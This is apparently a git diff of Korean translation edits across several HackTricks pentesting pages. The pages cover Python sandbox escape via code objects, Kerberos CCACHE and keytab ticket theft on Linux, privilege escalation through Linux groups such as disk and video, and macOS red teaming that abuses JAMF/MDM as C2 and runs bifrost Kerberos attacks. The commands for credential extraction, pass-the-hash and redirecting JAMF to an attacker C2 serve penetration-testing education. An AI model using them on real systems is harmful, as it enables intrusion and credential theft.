이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
이 포스트의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
||||
|
||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
||||
|
@ -1027,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경이 아닌 함수가 필요합니다.**
|
||||
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경이 아닌 함수가 필요합니다.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1035,9 +1045,9 @@ ctype = type((lambda: None).func_code)
|
|||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## 컴파일된 파이썬 디컴파일
|
||||
## 컴파일된 파이썬 디컴파일하기
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하여 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하면 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
|
||||
**이 튜토리얼을 확인하세요**:
|
||||
|
||||
|
@ -1070,6 +1080,14 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -1080,7 +1098,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
리눅스 머신은 Active Directory 환경 내에 존재할 수 있습니다.
|
||||
|
||||
AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장하고 있을 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 악용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다.
|
||||
AD의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장하고 있을 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 악용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### 리눅스에서 AD 열거
|
||||
### 리눅스에서 AD 열거하기
|
||||
|
||||
리눅스(또는 Windows의 bash)에 AD에 대한 접근 권한이 있는 경우 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)를 사용하여 AD를 열거할 수 있습니다.
|
||||
리눅스(또는 Windows의 bash)에서 AD에 접근할 수 있다면 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)를 사용하여 AD를 열거할 수 있습니다.
|
||||
|
||||
리눅스에서 AD를 열거하는 **다른 방법**을 배우려면 다음 페이지를 확인할 수 있습니다:
|
||||
리눅스에서 AD를 열거하는 **다른 방법**을 배우려면 다음 페이지를 확인하세요:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -33,7 +37,7 @@ AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 MIT **Kerberos** 키 배포 센터와 완전한 **LDAP 디렉토리**를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 사용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 자세한 내용은 다음에서 확인하세요:
|
||||
FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 MIT **Kerberos** 키 배포 센터와 완전한 **LDAP 디렉토리**를 결합합니다. CA 및 RA 인증서 관리를 위한 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 자세한 내용은 다음에서 확인하세요:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
|
@ -73,7 +77,7 @@ cd tickey/tickey
|
|||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
이 절차는 다양한 세션에 주입을 시도하며, 성공을 `/tmp`에 `__krb_UID.ccache`라는 명명 규칙으로 추출된 티켓을 저장함으로써 나타냅니다.
|
||||
이 절차는 다양한 세션에 주입을 시도하며, 성공을 나타내기 위해 추출된 티켓을 `/tmp`에 `__krb_UID.ccache`라는 명명 규칙으로 저장합니다.
|
||||
|
||||
|
||||
### SSSD KCM에서 CCACHE 티켓 재사용
|
||||
|
@ -87,7 +91,7 @@ python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
|||
```
|
||||
The **자격 증명 캐시 Kerberos blob은 Mimikatz/Rubeus에 전달할 수 있는 사용 가능한 Kerberos CCache** 파일로 변환될 수 있습니다.
|
||||
|
||||
### CCACHE 티켓 재사용 from keytab
|
||||
### keytab에서 CCACHE 티켓 재사용
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
|
@ -120,6 +124,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
|||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -130,7 +138,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -13,6 +13,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
# Sudo/Admin Groups
|
||||
|
||||
|
@ -38,8 +44,7 @@ sudo su
|
|||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
|
||||
다음 내용을 확인하세요:
|
||||
만약 pkexec 바이너리가 SUID 바이너리이고 당신이 sudo 또는 admin 그룹에 속한다면, pkexec를 사용하여 sudo로 바이너리를 실행할 수 있을 것입니다. 다음 내용을 확인하세요:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
|
@ -94,7 +99,7 @@ So, read the file and try to **crack some hashes**.
|
|||
|
||||
# Disk Group
|
||||
|
||||
이 권한은 **루트 접근과 거의 동등**하여 머신 내부의 모든 데이터에 접근할 수 있습니다.
|
||||
이 권한은 거의 **루트 접근과 동등**하며, 머신 내부의 모든 데이터에 접근할 수 있습니다.
|
||||
|
||||
Files:`/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
|
@ -110,9 +115,9 @@ Note that using debugfs you can also **write files**. For example to copy `/tmp/
|
|||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
그러나 **root가 소유한 파일** \(예: `/etc/shadow` 또는 `/etc/passwd`\)을 **쓰기** 시도하면 "**Permission denied**" 오류가 발생합니다.
|
||||
그러나 **root가 소유한 파일** \(예: `/etc/shadow` 또는 `/etc/passwd`\)에 **쓰기**를 시도하면 "**Permission denied**" 오류가 발생합니다.
|
||||
|
||||
# Video Group
|
||||
# 비디오 그룹
|
||||
|
||||
`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다:
|
||||
```bash
|
||||
|
@ -127,19 +132,19 @@ The **tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에
|
|||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
|
||||
**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **원시 이미지 데이터**를 선택할 수 있습니다:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28208%29.png)
|
||||
|
||||
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
|
||||
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 것을 선택합니다):
|
||||
|
||||
![](../../.gitbook/assets/image%20%28295%29.png)
|
||||
|
||||
# Root Group
|
||||
# 루트 그룹
|
||||
|
||||
기본적으로 **root 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 권한 상승에 사용할 수 있는 **기타 흥미로운 것들**을 **수정**할 수 있는 접근 권한을 가질 수 있는 것 같습니다...
|
||||
기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 권한 상승에 사용할 수 있는 **기타 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있는 것 같습니다...
|
||||
|
||||
**root 구성원이 수정할 수 있는 파일 확인**:
|
||||
**루트 구성원이 수정할 수 있는 파일 확인**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
|
@ -155,6 +160,14 @@ find / -group root -perm -g=w 2>/dev/null
|
|||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
지금 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -164,8 +177,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,40 +15,48 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MDM 악용
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## MDM 악용하기
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 탈취**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 손상시킬 수 있습니다**.
|
||||
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 탈취**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 손상시킬 수 있습니다.**
|
||||
|
||||
MacOS 환경에서 레드 팀 활동을 하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
|
||||
MacOS 환경에서 레드 팀 활동을 수행하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MDM을 C2로 사용하기
|
||||
### C2로서 MDM 사용하기
|
||||
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다...
|
||||
|
||||
자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
|
||||
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명해야 합니다... 하지만 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
|
||||
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 그러나 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
|
||||
|
||||
장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(압축하여 zip으로 만들고 Safari에서 다운로드하면 압축이 해제됩니다).
|
||||
|
||||
**Mythic agent Orthrus**는 이 기술을 사용합니다.
|
||||
|
||||
### JAMF PRO 악용
|
||||
### JAMF PRO 악용하기
|
||||
|
||||
JAMF는 **사용자 정의 스크립트**(시스템 관리자가 개발한 스크립트), **네이티브 페이로드**(로컬 계정 생성, EFI 비밀번호 설정, 파일/프로세스 모니터링...) 및 **MDM**(장치 구성, 장치 인증서...)를 실행할 수 있습니다.
|
||||
|
||||
#### JAMF 자체 등록
|
||||
|
||||
`https://<회사 이름>.jamfcloud.com/enroll/`와 같은 페이지로 이동하여 **자체 등록이 활성화되어 있는지** 확인합니다. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다**.
|
||||
`https://<회사 이름>.jamfcloud.com/enroll/`와 같은 페이지로 이동하여 **자체 등록이 활성화되어 있는지** 확인하세요. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다.**
|
||||
|
||||
비밀번호 스프레이 공격을 수행하기 위해 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용할 수 있습니다.
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다.
|
||||
|
||||
또한, 적절한 자격 증명을 찾은 후에는 다음 양식을 사용하여 다른 사용자 이름을 무차별 대입할 수 있습니다:
|
||||
|
||||
|
@ -81,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정하여 JAMF를 C2로 악용할 수 있습니다.**
|
||||
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL**을 설정하여 JAMF를 C2로 악용할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -94,24 +102,24 @@ sudo jamf policy -id 0
|
|||
|
||||
#### JAMF 사칭
|
||||
|
||||
장치와 JMF 간의 **통신을 사칭**하려면 다음이 필요합니다:
|
||||
장치와 JMF 간의 **통신을 사칭**하기 위해 필요한 것은:
|
||||
|
||||
* 장치의 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* 장치 인증서를 포함하는 **JAMF 키체인**: `/Library/Application\ Support/Jamf/JAMF.keychain`
|
||||
|
||||
이 정보를 가지고, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트**를 **후킹**하여 정보를 훔칩니다.
|
||||
이 정보를 가지고, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트**를 **후킹**하여 정보를 훔쳐야 합니다.
|
||||
|
||||
#### 비밀 훔치기
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다**. 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
|
||||
관리자가 Jamf를 통해 실행하고자 할 **사용자 정의 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다.** 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
|
||||
|
||||
그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다).
|
||||
|
||||
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새 프로세스 인수가 생기는 것을 감시할 수 있습니다.
|
||||
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새 프로세스 인수가 생기는 것을 감지할 수 있습니다.
|
||||
|
||||
### macOS 원격 접근
|
||||
### macOS 원격 액세스
|
||||
|
||||
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해:
|
||||
|
||||
|
@ -153,8 +161,8 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
MacOS 사용자 유형은 세 가지입니다:
|
||||
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 연결하여 인증을 받아야 하는 변동성 있는 Active Directory 사용자입니다.
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 연결하여 인증이 필요한 변동성 Active Directory 사용자입니다.
|
||||
* **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\
|
||||
|
@ -162,8 +170,8 @@ MacOS 사용자 유형은 세 가지입니다:
|
|||
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**:
|
||||
|
||||
* **CanSSH** - 호스트에 SSH로 접속할 수 있는 엔티티
|
||||
* **CanVNC** - 호스트에 VNC로 접속할 수 있는 엔티티
|
||||
* **CanSSH** - 호스트에 SSH할 수 있는 엔티티
|
||||
* **CanVNC** - 호스트에 VNC할 수 있는 엔티티
|
||||
* **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
|
||||
```bash
|
||||
#User enumeration
|
||||
|
@ -219,9 +227,9 @@ bifrost --action asktgs --spn [service] --domain [domain.com] \
|
|||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## Keychain 접근하기
|
||||
## 키체인 접근
|
||||
|
||||
Keychain은 프롬프트를 생성하지 않고 접근할 경우, 레드 팀 연습을 진행하는 데 도움이 될 수 있는 민감한 정보를 포함하고 있을 가능성이 높습니다:
|
||||
키체인은 아마도 민감한 정보를 포함하고 있으며, 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있습니다:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -229,17 +237,17 @@ Keychain은 프롬프트를 생성하지 않고 접근할 경우, 레드 팀 연
|
|||
|
||||
## 외부 서비스
|
||||
|
||||
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 왜냐하면 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있기 때문입니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
|
||||
